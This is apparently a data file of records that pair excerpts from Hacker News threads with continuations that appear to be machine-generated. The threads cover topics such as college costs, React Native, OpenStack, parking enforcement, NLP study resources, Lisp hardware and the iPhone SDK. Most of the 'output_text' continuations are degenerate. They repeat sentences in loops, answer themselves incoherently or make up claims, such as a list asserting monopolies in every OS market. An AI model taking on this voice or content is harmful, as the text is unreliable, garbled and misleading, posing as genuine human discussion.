the people who go to college are more likely to\nbe able to afford it.\n\nI think the difference is that the people who go to college are more likely to\nbe able to afford it.\n\nI think the difference is that the people who go to college are more likely to", "input_text": "iel's 20 under 20 (). Of the select few that were chosen\nbased on their skills/ideas/potential and given access to Thiel's network,\nquite a few ended up actually going back to school.\n\n~~~\nwebwright\nI'd love to see socioeconomic status pulled out of the equation.\n\ni.e. Take 1000 offspring of middle/upper class folks. Measure the difference\nbetween those who chose to go to college and those who did not.\n\nMeasuring the economic success of people who don't go to college is (most of\nthe time) measuring the success of people who can't afford to go to college.\n\n~~~\nChuckMcM\nOk, so lets say you did that. Do you have a hypothesis about what might be\ndifferent?\n\nCollege is actually reasonably affordable, there are accredited four year\nuniversity degrees that cost about $25K over four years. Generally those are\n'state' schools but still $25K it what it costs to buy a car, so if one can\nchoose between buying a car and going to school we could do some interesting\ncomparisons there.\n\nIn every survey I've ever seen, whether it was done by the Census bureau or\nthe chamber of commerce, people with college degrees were more likely to have\nbetter economic success than someone who had not completed college. The\nnumbers are quite skewed toward college graduates with STEM [1] degrees.\n\nBy and large, today, for the general case, if you want to increase your\nchances for economic success, getting a STEM degree from an accredited college\nis your most highly leveraged investment.\n\n[1] STEM - Science Technology Engineering Mathematics\n\n~~~\nwebwright\nComing at this 7 days late, but..."} +{"output_text": " think that the author is just trying to build a tool that\ndoesn't exist yet, and is trying to do it all himself.\n\n~~~\nmts_\n> Was there something wrong with the yeoman & grunt/gulp combo?\n\nI think the author is trying to build a tool that doesn't exist yet, and is\ntrying to do it all himself.\n\n------\nmts_\nI'm the author of the article. I'm not", "input_text": " and JSX for the later.\n\n> It's as if ReactNative is being treated (strategically) as a more powerful\n> version of PhoneGap.\n\nReactNative is like Titanium/Alloy. It uses native components to render views,\nnot the DOM. So it has nothing to do with Phonegap except for the use of\njavascript.\n\n~~~\nmts_\n> ReactNative is like Titanium/Alloy. It uses native components to render\n> views, not the DOM. So it has nothing to do with Phonegap except for the use\n> of javascript.\n\nI believe the original poster was referring to the fact that Cordova's whole\npurpose is to be a testing ground for new browser APIs - and that the goal of\nthe project is to basically become irrelevant at a later point because browser\nvendors hopefully will have implemented similar APIs.\n\nSort of like a testing ground for web standards.\n\nBut yes, in a technical sense React Native is closer akin to Titanium than\nCordova/PhoneGap in its current state.\n\n------\nandrewstuart2\n> There are a lot of JS tools, but none of them do what we want. We\u2019re trying\n> to coordinate them. We want to provide a good default experience out of the\n> box, so we\u2019re building a CLI to: scaffold, skeleton files, set up build, set\n> up testing environment, possibly even deployment\n\nWas there something wrong with the yeoman & grunt/gulp combo? The yeoman tool\nis great for the scaffolding and skeleton story, and even for setting up your\nbuild, test, deployment environments using whatever combination of grunt &\ngulp you want to build into your generator.\n\nI'm starting to"} +{"output_text": "ange\n> The only question is who creates it first.\n\nThat's not the only question. The question is who has the most power to\ninfluence the outcome.\n\n> Hence, paradoxically as it may seem, the logical conclusion would seem to be\n> that you should work as hard as you can to invent whatever unethical\n> technology you're worried about -- in the hopes that you can minimize the\n> damage later.\n\nThat's not the only logical", "input_text": "?\n\nNote: The constraint is that X _is inevitable_. The only question is who\ncreates it first. And in that context, isn't it at least possible to argue\nfrom multiple axes that you should help to create it? The limit case of this\nargument would be \"It's your duty to the society you live in to ensure it has\nthe competitive advantage, not some other society.\"\n\nA less-hostile way to phrase that would be \"The first company to invent a\ntechnology can then try to _enforce ethics_ onto that technology.\"\n\nThat is, if you invent something, it's easier to dictate how it's used than if\nyou didn't.\n\nHence, paradoxically as it may seem, the logical conclusion would _seem_ to be\nthat you should work as hard as you can to invent whatever unethical\ntechnology you're worried about -- in the hopes that you can minimize the\ndamage later.\n\nIf it seems like a technology can't really be controlled (e.g. nuclear\nweapons), I counter with this: Bitcoin was the implementation of a set of\nideas. The exact implementation could have been very different. It could have\nbeen inflationary rather than deflationary, for example. The precise choices\nwere very important, because Bitcoin has huge first-mover advantages. And that\nis often true of the first X to be invented.\n\nSo, what's the answer? Do we work as hard as we can to invent unethical\ntechnologies in order to mitigate their effects, or do we try to suppress or\ndiscourage the invention of new technology knowing that some less-\"ethical\"\nsociety will get there first?\n\nOr is that a false dichotomy? I'm fascinated by the possible answers.\n\n~~~\njonathanstr"} +{"output_text": " we had a chance to try it out.\n\n~~~\njlgaddis\n> _I expected them to say \"now running on Openstack, 100%!\"_\n\nI'm not sure I understand what you mean by this.\n\n> _Also the design seemed to mirror AWS, as if the only answer to their\n> dominance was to... copy every facility they were producing exactly?_\n\nI'm not sure I understand what you mean by this.\n\n>", "input_text": " enormously fiddly compared to VMWare, which was where they were\ntaking aim. I expected them to say \"now running on Openstack, 100%!\"\n\nAlso the design seemed to mirror AWS, as if the only answer to their dominance\nwas to... copy every facility they were producing exactly?\n\nWe had a more definite vision of where VMs should go, and thought it was a bad\nplan to aim at \"Amazon, but smaller!\". In particular we really really wanted\nlive migrations to be a part of our platform - where we really really cared\nabout uptime of individual VMs, and wanted people to be able to upgrade them\non the fly. Plus, y'know, for a hosting company, being in control of, and\nhaving opinions of our hosting platform was what people paid us for!\n\nSo we designed our in-house platform BigV instead (now Bytemark Cloud Servers)\n-> [https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/Desig...](https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/DesignAndImplementationOfBigV.pdf) [pdf] And even\nthough we (re)invented an NBD server to make all the live migration stuff work\n[https://github.com/BytemarkHosting/flexnbd-c](https://github.com/BytemarkHosting/flexnbd-c)\nI believe we've ended up with something that does a small number of things far\nbetter.\n\nI see people asking whether Openstack is actually running anywhere very\npublic, and have read some pained war stories. So it still feels like the\nright decision, even before"} +{"output_text": " that). Just get something working and get\nfeedback.\n\nI'm not sure if you're a beginner or not, but I'd say you're in the right\nplace.\n\n~~~\nmooism2\nThanks for the advice.\n\nI'm not a beginner, but I'm not a professional either. I'm a student. I'm\nlearning to code for fun, and I'm learning to code for a living.\n\nI'm not sure if I'm", "input_text": " and MooTools. Do you think a beginner can grasp it? And, what do you think the learning curve will be?

Thanks!\n======\nteej\nI was in your position 4 years ago. I had spent some time learning HTML/CSS +\nPHP and had thrown up a few websites here and there. I wanted to get into real\nweb dev, and I decided Rails would pave that road.\n\nI'm not one for books, but Ruby on Rails: Up and Running\n() was an incredible resource for\nnew devs. I have since introduced two other people to Rails though that book\nand they loved it. One issue: it's old. If they haven't updated it for Rails\n2+, don't go near it. You might want to try the Rails Guide instead\n()\n\nFrom there, I picked up Ruby for Rails (). I\nread about 20% of this book. It was critical for me understanding the \"magic\"\nbehind Rails and the weird syntax behind Ruby. I came from a somewhat CS\nbackground, so YMMV.\n\nAfter that, I left the books behind. I just found problems and tried solving\nthem with Ruby & Ruby on Rails. I did a few crappy webapps, some of the\nFacebook engineering puzzles, some of the Project Euler questions.\n\n\\----- One word: PRACTICE. -----\n\nAt first, stay away from doing it perfect, just get something working and\niterate. You don't need a full suite of tests, scale to 1M users, and super-\nclever meta-code (you dont need"} +{"output_text": ".\n\n~~~\nenriquto\nI know, but it is not enough.\n\nIf you are in a shell that does not support this feature, you will see a\nblank line at the beginning of your prompt.\n\nIf you are in a shell that supports this feature, you will see a newline at\nthe beginning of your prompt.\n\nIf you are in a shell that supports this feature, you will see a newline at\nthe beginning of your", "input_text": "ulator, so each shell\ncommand (that needs it) gets it's own pty. I think this will enable a much\nnicer UI and also simplify things.\n\n~~~\nopk\nThis is what tmux is for.\n\n~~~\nEricson2314\nNo this is _not_ what tmux is fore. IMO tmux and screens are giant hacks:\n\n\\- multiplexing: better to use ssh multiplexing, which is just nice in general\n\n\\- persistence: Yes, you want to open a pty on a the host, but you should\nactually emulate the terminal on the guest: one should just forward all the\npty messages between the guest and host (graphical emlator). In other words, a\nlot more like regular ssh\n\n\\- sharing: graphical emulators should just understand that multiple can be\nhooked up, have some support for this, we can relay the input from one\nemulator to the others as needed.\n\nFor my terminal-inside-shell, I would use a customer server + protocol for\nmanaging all the ptys (remember because backgrounded commands there can be\nmultiple).\n\n------\nstared\nI am waiting for GPT-2-based models for ZSH. Something in the line of TabNine,\nbut for the terminal.\n\n------\nenriquto\nI do not like this feature. How can you distinguish the output of a program\nthat outputs a newline from one that doesn't? This is intentional obfuscation.\nIf you are bothered from where your prompt starts, add a newline at the\nbeginning of your prompt.\n\n~~~\nRogach\nThere is a \"missing linefeed indicator\" symbol (usually %) that is output if\nthere is no trailing newline"} +{"output_text": "\n\n~~~\ntrimbo\nI'm not sure I agree. I think the problem is that the content is not\nnecessarily available on Prime. I have a Prime account, but I don't have CBS\nAll Access. I have to pay for it separately.\n\n~~~\ndmix\nI\u2019m not sure I agree with that either. I\u2019ve had CBS All Access for years and\nit\u2019s always been available on my account. I\u2019ve never had to pay", "input_text": " (1949) links to \"The Bicycle\" (2015).\nGreat list though. It would be interesting to see the thing done for the AFI\nand BFI top 100. (Although I suspect that most movies on the AFI are probably\nalready on Ebert's list.)\n\n------\nintellijdd\nI was just seeing someone else's tutorial on scraping Amazon prices. They also\nran into an issue where they needed to scrape twice instead of once. Not sure\nthat it's the same issue you're facing but I thought I might drop my two\ncents.\n\n~~~\ncatwind7\nI actually did notice that issue, even with using a stateful client like\nmechanize. Sometimes I had to scrape > 5 times in order to get through the\n\"anti robot\" page.\n\nOther times, I get no issue at all. It's weird - maybe they're doing some\npattern matching on request metadata on their end?\n\n------\ntrimbo\n\"The Man Who Shot Liberty Valance\"\n\nIMO, John Ford's best movie, hands down.\n\nUnfortunately, it is not actually available on Prime without \"CBS All Access\"\n[Edit: ah, I see that this is not just \"Included with prime\", but all movies]\n\n~~~\ndmix\nPrime just recently introduced channels, which dramatically increased the\namount of content available, but each is $3.99. I personally love this because\nI\u2019d rather have the option to subscribe to Smithsonian content or MGMs back\ncatalog using the same streaming service I already use, rather than paying to\nuse 10 different or getting stuck using the small list of (mostly old, TV\nmovie, or B movie) content on just prime or Netflix.\n\nSo this is a feature, not a bug."} +{"output_text": "-party app store with the iPhone itself. The\niPhone's app store is a closed system, but it's not the only one.\n\n~~~\nasciilifeform\nThe iPhone's app store is a closed system, but it's not the only one.\n\nThe iPhone's app store is a closed system, but it's not the only one.\n\nThe iPhone's app store is a closed system, but it's not the only one.\n\nThe iPhone", "input_text": " run blazingly faster on a new machine!\n\n------\ntrezor\nFrom the report:\n\n _No backgrounding, no multitasking, no unobtrusive notifications. No copy and\npaste (yet), no MMS, no video. Really pretty minor stuff thus far._\n\nAh well. So we have push notification, better hardware access and the maps API\nopened up for apps. Not totally shit but not revolutionary either.\n\n~~~\njws\nYou really should watch the live coverage by someone other than engadget. I\nget the impression their person is only there because someone threatened to\nfire him if he didn't go.\n\nIf you are looking for information the Grumpy Mystery Science Theater version\nof the live cast is the wrong place to be.\n\n~~~\nashr\nI recommend watching the video on apple.com\n\n------\nasciilifeform\nMicropayments: death by a thousand cuts. Mark my words.\n\n~~~\nicey\nWell, that's kind of the nice thing about capitalism. If you don't like it,\nvote (or rather don't vote) with your wallet.\n\n~~~\nasciilifeform\nThis would be true in a market driven by competition between near-equals.\n\nThe iPhone does not live in such a market. It has no competition. It is a\nqualitatively different product from other mobile phones. The cell phone\nmarket is divided into two categories: the iPhone, and inferior crud. If Apple\nwere to begin charging $0.05 per \"click\", you would have to cough up the dough\nor switch to a vastly inferior product. Therefore, your ability to \"vote\" with\nyour money is academic in this case.\n\n~~~\nGHFigs\nYou're conflating the third"} +{"output_text": " figure out what the root cause is.\n\n------\njasonkester\nI'm in the same boat. I'm a little older than you, and I've been doing this\nfor a while.\n\nI've found that the best way to get through it is to just keep doing it.\n\nI've found that the best way to get through it is to just keep doing it.\n\nI've found that the best way to get through it is to just keep", "input_text": " not say\n\"This project will finish in 3 weeks\", but break it into chunks - \"In two\ndays, I'll have a prototype of the admin module, where you can test. Friday I\nexpect to have all the functionality working, implementing your feedback along\nthe way. Wednesday next week we'll have a meeting to discuss changes to module\nY\", etc.\n\nThere's no silver bullet, and I certainly do not envy this part of being a\nfreelance developer, but it is possible. And remember, everyone struggles with\nthis:\n[https://www.youtube.com/watch?v=co_DNpTMKXk](https://www.youtube.com/watch?v=co_DNpTMKXk)\n\n------\nmrweasel\nFirst up, I'm not qualified to solve your problem, but if you think you have\nADHD, get it checked by a professional. I managed to convince myself that I\nhad diabetes.... I apparently do not.\n\nBut honestly, maybe you just need to do something different. Find a small shop\nthat needs a developer, pick something that your grossly overqualified for.\n\n------\nrconti\nYes, mid 30s, I struggle as well. I'm much better at small discrete tasks than\nI am at larger projects, where I often work for a few minutes, then back up\nand think about the scope of the whole project, get discouraged, get\ndistracted, etc. I've been very successful in life but the past 6 months I've\nbeen working hard to tweak a lot of the things I don't like about myself.\n\nCurrently seeing a CBT specialist which is helping. What I like about CBT is\nthat it gives you discrete tools to address issues rather than spending 6\nmonths trying to"} +{"output_text": "reported, it's a pretty serious\nsecurity issue.\n\n~~~\njrockway\n_Assuming that this is real and not mis-reported, it's a pretty serious\nsecurity issue._\n\nI don't think it's a security issue. It's a privacy issue.\n\n~~~\nnl\n_I don't think it's a security issue. It's a privacy issue._\n\nI don't think it's a privacy issue either.\n\nI think it's", "input_text": " specific group has lots of access. I care\nthat not that many groups do in total. This story makes me concerned that\nactually many groups have lots of access. Despite the \"elite navy seal\" vibe\npresented in the Gawker story about SREs, I'm now thinking that many, many\nteams have this kind of access. (Previous to this story, I was led to believe\nthat SREs were quite low level (not in importance. but in nature of\nresponsibilities. Very performance oriented, having little reason to have\naccess to an individual user's data.).\n\nPlease feel free to jump in and correct this, Google peeps. It would make me\nfeel better.\n\n* What this does for SaaS and web apps in general\n\nI love Google Docs and sincerely believe that most web apps that allow across-\nthe-net collaboration are good for us. And are preferable to The Old Way. I\nwant people to TRUST their stuff to Google (and Github and Amazon, etc).\n\nI hate security FUDers who love to derail conversations of great possibility\nwith some far out scenario, \"Can my enemy see my Google Docs?!?!\"\n\nI'm way less worried about a few creeps who work at Google (they work\neverywhere...) and more concerned about laissez-faire access processes.\n\n~~~\nnl\n_\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"_\n\nThis surprised me too. In the absence of any further comment from Google, I'd\nbe very interested to see some journalists doing some investigation here.\n\nAssuming that this is real and not mis-"} +{"output_text": " on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back of the\nlot except on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back of the\nlot except on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back", "input_text": ".wordpress.com/auto-news/news/students-defeat-new-barnacle-parking-boot-skip-fines-and-get-free-internet\n======\nemptybits\nI spent a decade in the parking technology space. (Co-founder PayByPhone --\ndon't hate me, I genuinely tried to make things more civilized and convenient,\nI swear!). Anyways, I miss hearing about hilarious and genius hacks and\nescalations like this. The brilliance deployed to work around parking\nregulations is amazing.\n\nNot condoning, but here's a (naive?) though experiment if the Barnacle shows\nup in use again... Park your car and cover it. Many car covers have cable\nlocks to prevent removal and openings to expose plates for legal/bylaw\nreasons, so this should be permissible. This may provide protection from sun,\nfrost, birdshit, and now Barnacles(tm)! My assumption is that parking\nenforcers don't have permission to modify, remove, or damage property on a\nparked car like this.\n\nOf course, there's always a tow-truck. Or you could pay for the parking you\nuse, but I respect the hacker spirit!\n\n~~~\nquaquaqua1\nThe problem is not paying for the parking I use. That is an easy problem to\nsolve, as long as the price is \"reasonable\".\n\nThe problem I have with parking authorities is fraud. When the meter employee\ngives me a ticket for a different meter, or when the parking ticket fine is\n$200 instead of say $30, or when the restrictions are absurd/vague (\"You can\npark here for 2 hours m-f except holidays except 9-11 except in green spots\nexcept"} +{"output_text": "-edge research is always going to be a bit of a challenge to get your\nhead around.\n\n~~~\ndeepGem\nI agree. I think Andrew Ng's course is a good starting point.\n\n------\njoe_the_user\nI think the best way to learn NLP is to read a lot of books and papers.\n\nI'd recommend \"Natural Language Processing\" by Jurafsky and Martin. It's a\ngood book, but it's", "input_text": "/2015/05/21/rnn-\neffectiveness/](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) \\--\n[http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentation...](http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentations/)\n\n(Andrej Karpathy and Chris Olah are some of my favorite writers)\n\n[0] [http://www.deeplearningbook.org/](http://www.deeplearningbook.org/) [1]\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n[2] [http://nlp.stanford.edu/IR-book/](http://nlp.stanford.edu/IR-book/)\n\n------\ndeepGem\nStart with Machine Learning by Andrew Ng, on Coursera Once you get a hang of\nneural networks, which is chapter 4 in the course I think jump to Stanford's\nCS224n. It's helpful to complete Andrew's course as well.\n\n[http://web.stanford.edu/class/cs224n/](http://web.stanford.edu/class/cs224n/)\n\ncs224n is not easy. Of course, you can learn NLP without deep learning, but\ntoday it makes sense to pursue this path. During the course of CS224n you'll\nget some project ideas as they discuss a ton of papers and the latest stuff.\n\n~~~\nrmchugh\nI think deep learning is a pretty hefty starting point for learning NLP.\nCutting"} +{"output_text": ", the lisp would be faster.\n\n~~~\nneutronicus\nI think you're right, but I think the author is wrong.\n\nI think the author is wrong because the author is comparing a hypothetical\n\"lisp on a chip\" to a hypothetical \"C on a chip\".\n\nThe author is wrong because the author is comparing a hypothetical \"lisp on a\nchip\" to a hypothetical \"C on a chip\" that is optimized for the hypothetical\n\"", "input_text": ".com/item?id=2192629>\n\n~~~\nneutronicus\nThe other half of his point was specially tuned hardware - the author seems to\nbelieve that the type-checking, gc, etc. don't cripple performance the way\nthey do on x86.\n\nI don't know if he's _right_, but that seems to be his point.\n\n~~~\nohyes\nThe idea is that you would have bits in the hardware dedicated to type\nchecking and garbage collection. The example being, that in the assembly\nlanguage/machine code, you may have a single arithmetic '+' operation.\n\nDetermining which hardware path to use to add two numbers would be done in the\nhardware itself. Check the type bits of the numbers and feed it into my ALU.\nCompare this to an x86 lisp, or compiled C, where 'type' of a 'number' is\ndetermined by the assembly code instruction that is used on it.\n\nThis isn't just a performance improvement, it is also an improvement in the\nsafety of the dynamic language.\n\nThere are a lot of different things that you could do for garbage collection.\nYou could have in-hardware reference counting, or 'dirty' and 'clean' (or\ncolor) bits, for a mark and sweep collector, or 'generational' bits for an\nephemeral garbage collector.\n\nThe idea is that any time you take something out of software, and put it into\nspecialized hardware, you should get a performance improvement.\n\nThis doesn't mean that the lisp on a chip would be faster than C on a\ncomparable x86 chip, it means that the things that make lisp (and other\nfunctional languages) safer and easier to use would be supported in hardware--\ntherefore"} +{"output_text": ". I'm a big fan of your\nwork.\n\n------\njoshu\nI want to get back to writing code.\n\n~~~\nmezod\nI'm sure you will!\n\n------\njoshu\nI want to get back to writing code.\n\n~~~\nmezod\nI'm sure you will!\n\n------\njoshu\nI want to get back to writing code.\n\n~~~\nmezod\nI'm", "input_text": " as screens\n\n------\nDiaznash\nThat title can make a good pitch for AR/VR.\n\n \nAsk HN: You've got one month, what's your challenge? - mezod\nAs simple as that, you have a month, what challenge do you tackle?

Typical examples:\n- write a book\n- code a game\n- train to run a marathon by the end of the month\n======\nadimitrov\nAfter 10 years of depression, carry over my good streak from last month and\nfinally finish my studies so I can have a better job.\n\nWhish me luck.\n\n~~~\nmovedx\nAll the best mate. Keep up the great work and good luck!\n\n------\ntjw\nCome home from work and do one productive thing, every day. I'm tired of\nfeeling lazy but not feeling motivated to do anything but play video games and\ngenerally be a slob.\n\n~~~\nmezod\nI think being more precise on what that one productive thing should be would\nhelp!\n\n------\ndyim\n* Get 100 active customer support agents on Panel Ninja [www.panelninja.com]\n\n* Send cold emails to 1,000 potential customers\n\n* Cut 15 seconds off my mile time\n\n* Run 4 experiments to iterate on the cold email process\n\n* Watch the Eagles beat the Giants, Falcons, Seahawks, and Packers :)\n\n------\negypturnash\nGet back to working on the comics pretty much every weekday. I've been bogged\ndown in printing stuff and writing pitches and I just wanna get back to\n_drawing some fucking comics_.\n\n~~~\nsmnscu\nWow \u2013 your art (and website, by the way) looks amazing"} +{"output_text": " and we wanted\nto make sure that we could get the benefits of the type system without having\nto rewrite the entire codebase.\n\n3\\. The idea is that you can use the plugin to generate a model file for your\nproject. This model file is a file that contains the information about the\nstructure of your project. It is a file that is used by the compiler to\ngenerate the code that you see in your project.\n\nThe model file is a file that is", "input_text": " more general way). What would\nbe the Xcode workflow for using this, starting from an empty project with no\nxcmodel file, and proceeding until it's done?\n\n~~~\nandrewcuneo\nI had almost given up on getting any traffic here. So, I'm excited that I got\nsome good questions. Let me try to answer them.\n\n1\\. It is kind of a bummer that we don't support Swift. As silly as it is,\nprobably the main reason for this is that at FB we only really code in ObjC\n(at least for the near term), so we wouldn't have any local use cases (which\nboth drive our development and help us validate that the concept is useful).\n\nIt is also true that the need for this type of system is a lot greater in\nObjC. Like you said, Swift is awesome in terms of its support for immutable\nobjects and it even supports something a lot like ADTS out of the box (they\ncall them \"Associated Values\" in their enums).\n\nBecause Remodel makes these nice concepts available in Objective-C, it's a\nuseful tool for people who like Swift but are, for whatever reason, working in\na Objective-C codebase.\n\nAlso, at some point we may make a Swift output option and it would have value\nin terms of the plugins that can make simple operations like encoding /\ndecoding or other basic helpers.\n\n2\\. A.ts file is a TypeScript file, which is a language that Microsft\ndeveloped which compiles to JavaScript. TypeScript looks a lot like JavaSript,\nbut it has types.\n\nWe chose TypeScript for the implementation of Remodel because we liked the\nfact that it's based on JavaScript which is extremely popular,"} +{"output_text": " problems.\n\n> You're never going to be able to fly to Mars, spend a few years, and fly\n> back and resume your life on Earth without long-lasting health effects.\n\nI'm not sure what you mean by \"resume your life on Earth\". I'm not sure what\nyou mean by \"long-lasting health effects\". I'm not sure what you mean by\n\"hard work and constant innovation\".\n\nI'm not sure what you mean by", "input_text": "'ll be able to fix problems and\nensure reliability and safety too. It'll be risky at first of course, and for\na long while after that. But I doubt it would be much riskier than we're\ncurrently living our lives here on Earth.\n\n~~~\ndangrossman\n> But I doubt it would be much riskier than we're currently living our lives\n> here on Earth.\n\nYou're probably underestimating the risks associated with humans leaving Earth\nfor any considerable period of time.\n\nRadiation is the first issue. NASA will not plan a mission that exposes\nastronauts to higher than a 3% risk of exposure-induced death. Their reports\nfrom 2010 based on all the studies done up to that point put the number of\n\"safe days\" at ~0.5-1 years. That assumes a healthy mid-30s non-smoker during\na solar minimum. So just getting to Mars would exceed the safe limits, even if\nwe had a very well radiation-shielded base waiting on the planet.\n\nMultiple years in space and Mars gravity will also have severe impacts on bone\ndensity and muscles. You're never going to be able to fly to Mars, spend a few\nyears, and fly back and resume your life on Earth without long-lasting health\neffects.\n\n~~~\ncryptoz\n> So just getting to Mars would exceed the safe limits\n\nThis is the problem with your argument that I'm underestimating risks. You're\nassuming that nobody finds a way to solve this problem or to mitigate the\neffects of the radiation, and that nobody would be willing to find a way to go\neven with the health concerns. I know this will be extremely difficult and\nquite costly, but I think hard work and constant innovation will solve a lot\nof the specific"} +{"output_text": "'t have a monopoly on the browser market.\nThey're trying to get into the OS market.\n\n~~~\njosteink\nI'm not sure I follow.\n\nThey have a monopoly on the desktop OS market.\n\nThey have a monopoly on the browser market.\n\nThey have a monopoly on the server OS market.\n\nThey have a monopoly on the cloud OS market.\n\nThey have a monopoly on the mobile OS market.\n\nThey have a monopoly", "input_text": " it.\n\n \nVisual Studio Online Supports Cross-Platform Development - dstaheli\nhttp://blogs.msdn.com/b/visualstudioalm/archive/2015/06/05/visual-studio-online-supports-true-cross_2d00_platform-development-_2200_team-explorer-everywhere_2200_-tee-jenkins-git-xcode-mac-tfs-vso-_2200_visual-studio-online_2200_.aspx\n======\nbaldfat\n> Microsoft provided me both a PC laptop and a MacBook for my job and hired me\n> to coordinate the effort to enable and better support non-traditional\n> Microsoft developers (i.e. developers that use something other than C# and\n>.NET technologies) to easily design, build, test and deploy their software\n> and systems solutions, especially to the cloud.\n\nThis is a major change in terms of what I would hear from a Microsoft Blog\nPost on Software Development Tools and especially Visual Studio.\n\n~~~\nNicoJuicy\nNot only that... But i am a C# developer and now i can use tools like bower\nand gulp ( already knew them fyi). I seriously love this..\n\nI am afraid though that a lot of current.Net developers won't like this (\ncolleagues and because vNext is more command line based )\n\n------\njosteink\nThe fact that I'm now complaining about how FreeBSD is poorly supported\ncompared to other Unixes like Linux and OSX really is quite amazing.\n\n5 years ago I wouldn't even be surprised if MS websites intentionally didn't\nwork in browsers not IE. Now this.\n\n~~~\nx5n1\nMicrosoft realizes that they don"} +{"output_text": " I guess.\n\n~~~\nAndys\nI think it's a bit of a misnomer. The percentage of apps that are approved is\nactually quite high.\n\n------\njrockway\nI'm not sure I understand the point of this. I can already buy an iPhone, and\nI can already buy an iPod Touch. I can already buy an iPhone and an iPod\nTouch.\n\nI can already buy an iPhone and an iPod Touch.\n\nI can", "input_text": " seen an OTAHD antenna? That's why.\n\n~~~\nnailer\nN95 has TV in some countries. The phones look like ordinary N95s. So do lots\nof Telstra phones in Australia (which have Foxtel content) and KDDI phones in\nJapan. They just look like ordinary phones.\n\n~~~\nAndys\nThe Telstra phones stream the Foxtel content digitally over NextG if I'm not\nmistaken?\n\n~~~\nnailer\nYup, and good point: there's no need for a giant antennae, anything capable of\n3G can do it fine.\n\n------\ncomatose_kid\nSDK access to bluetooth? Awesome, I have a client who is dying for this...\n\n------\nmarkessien\nLovely. This was a good platform choice for me to specialize in. I'm going to\nstart consulting almost exclusively for the iPhone, I think it's a platform\nthat will be here for a good number of years.\n\n------\npxlpshr\nApple really nailed it with version 3.0, and this is going to be great for us.\nI suspect you'll start seeing app acquisitions as companies look to acquire an\n'install' base to leverage.\n\nTime to get crankin' on more apps before gold rush 3.0!\n\n~~~\npxlpshr\nActually, hmm.. I wonder how the subscription will work for apps that were\nformerly free. I assume users will be able to 'opt-in' for subscription\npayment, otherwise the application is deleted.\n\n~~~\nGHFigs\nIn-application payments are not available for free applications.\n\n------\nHexstream\n96% of apps are approved? I thought the percentage was much lower. Vocal\nminority,"} +{"output_text": "n\nI have a bunch of old floppies that I've never been able to read. I'm\nsurprised that they're still readable.\n\n~~~\n6d6b73\nI have a bunch of old floppies that I've never been able to read. I'm\nsurprised that they're still readable.\n\n------\njedberg\nI have a bunch of old floppies that I've never been able to read. I'm", "input_text": ".\n\nWhen hardware progress occurs, files are transferred to new hardware and you\ncould expect that 30 years from now, your files will still be there.\n\n~~~\nmakapuf\nWell the ide interface has been there for quite a long time.\n\n~~~\nBrandoElFollito\nYes, but disk drives (readers) are harder and harder to get.\n\nI have 5.25\" floppy disks with some awesome software I wrote at the university\nwhich is now probably lost (even if I had a drive the content is probably\ngone). Same for 3.5\"s, zips,...\n\n~~~\nzellyn\nUnless you left them near something magnetic at some point, allowed them to\nmildew, or left them in a _very_ hot car, they're quite possibly still\nreadable. They are remarkably stable over time. See all of 4am's work for\nexamples :-)\n\n------\nvidanay\nInterestingly, I still have the monitor from my IIc. I no longer have the\ncomputer, but the monitor is sitting in my garage. Sadly though I think it has\nwater damage.\n\n~~~\ndrudru11\nDo you still want the monitor?\n\n~~~\nvidanay\nI have no need for it, but I would be VERY surprised if it is functional\n\n~~~\ndrudru11\nAre you in the SF Bay Area?\n\n~~~\nvidanay\nNo, Chicago\n\n~~~\ndrudru11\nAh - make sure it goes to a good home\n\n------\n6d6b73\nJust yesterday I acquired 3 5440 ibm disk cartridges.. I have no clue how/if\nI'm ever going to be able to read them, but some day I will try:)\n\n~~~\nzelly"} +{"output_text": "greml1n\nI did. I'm not sure if it was received.\n\n------\njasonlbaptiste\nI'm not sure if this is a good idea. I'm not sure if it's a good idea to\nstart a company in India. I'm not sure if it's a good idea to start a company\nin India. I'm not sure if it's a good idea to start a company in India. I'm\nnot sure if it's a", "input_text": " Internet connection\nso that you can work whenever you wake up\" [treating as kids or just coders,\n2008] to saying something like \"we will give 5L and open an account for the\ncompany\" [treated as entrepreneurs, 2009]. Still, a long way to go.\n\nThe 2008 archives with some photos\n. I do agree that they\nhave a bad choice of photos on the blog, it does effect PR.\n\nMoreover they will need someone like PG to make it like YC, that ain't\nhappenin' that easy. :-)\n\nStill, I wish them luck! We do need \"worthy\" YC clones in many countries.\n\n------\najju\nFreeman Murray seems like a cool guy. iAccelerator doesn't seem to be\nbureaucratic like the other incubator type things I have seen in India. The\nbest part is iAccelerator is also in my hometown of Ahmedabad. Go\niAccelerator, I am rooting for you.\n\n~~~\nfreemanindia\nThanks for the plug. iAccelerator is moving to Bangalore for this year's\nwinter season.\n\n~~~\nsubbu\nIts a bit late now. The last date was Sep 12 :(\n\n------\ngreml1n\nIs the guy on the right wiping his nose on his shirt or sniffing his arm pit?\nNot to be picky but that immediately shot out at me when the page came up.\n\nIn any event, the world needs more of these.\n\n~~~\nbaguasquirrel\nYou should probably do them a favor and fire off an email if you think it's\nbad PR.\n\n~~~\n"} +{"output_text": " Lisp OS that is actually being\ndeveloped?\n\n~~~\njrockway\nI don't know of any.\n\n~~~\npnathan\nI'm not sure if you're being sarcastic or not, but I'm not sure if there's any\nLisp OS that is being developed.\n\n~~~\njrockway\nI'm not being sarcastic. I'm not sure if there's any Lisp OS that is being\ndeveloped.\n\n~~~\npn", "input_text": " here:\n\n\n\nFrom what I understand, the main win is that they use nested page tables to\nlet the JVMs handle page faults directly, which is how they implement high-\nperformance read barriers.\n\nI don't know a lot about garbage collection, but read barriers seem to be the\nessential piece for implementing real-time (which really should be called\n\"non-blocking\") GC.\n\nThere's a good discussion on LtU about this: \n\n[edit] I should mention how this relates to Lisp operating systems: if you\nreplace the virtual memory system with a garbage collector (ie push the GC\ninto the kernel), you can get the same effect but without needing nested page\ntables/VT-x/RVI, even for user-space processes.\n\nIt should also be more efficient and waste less memory on fragmentation than\ngoing through a dumb VM.\n\n------\ndefroost\nWhile not 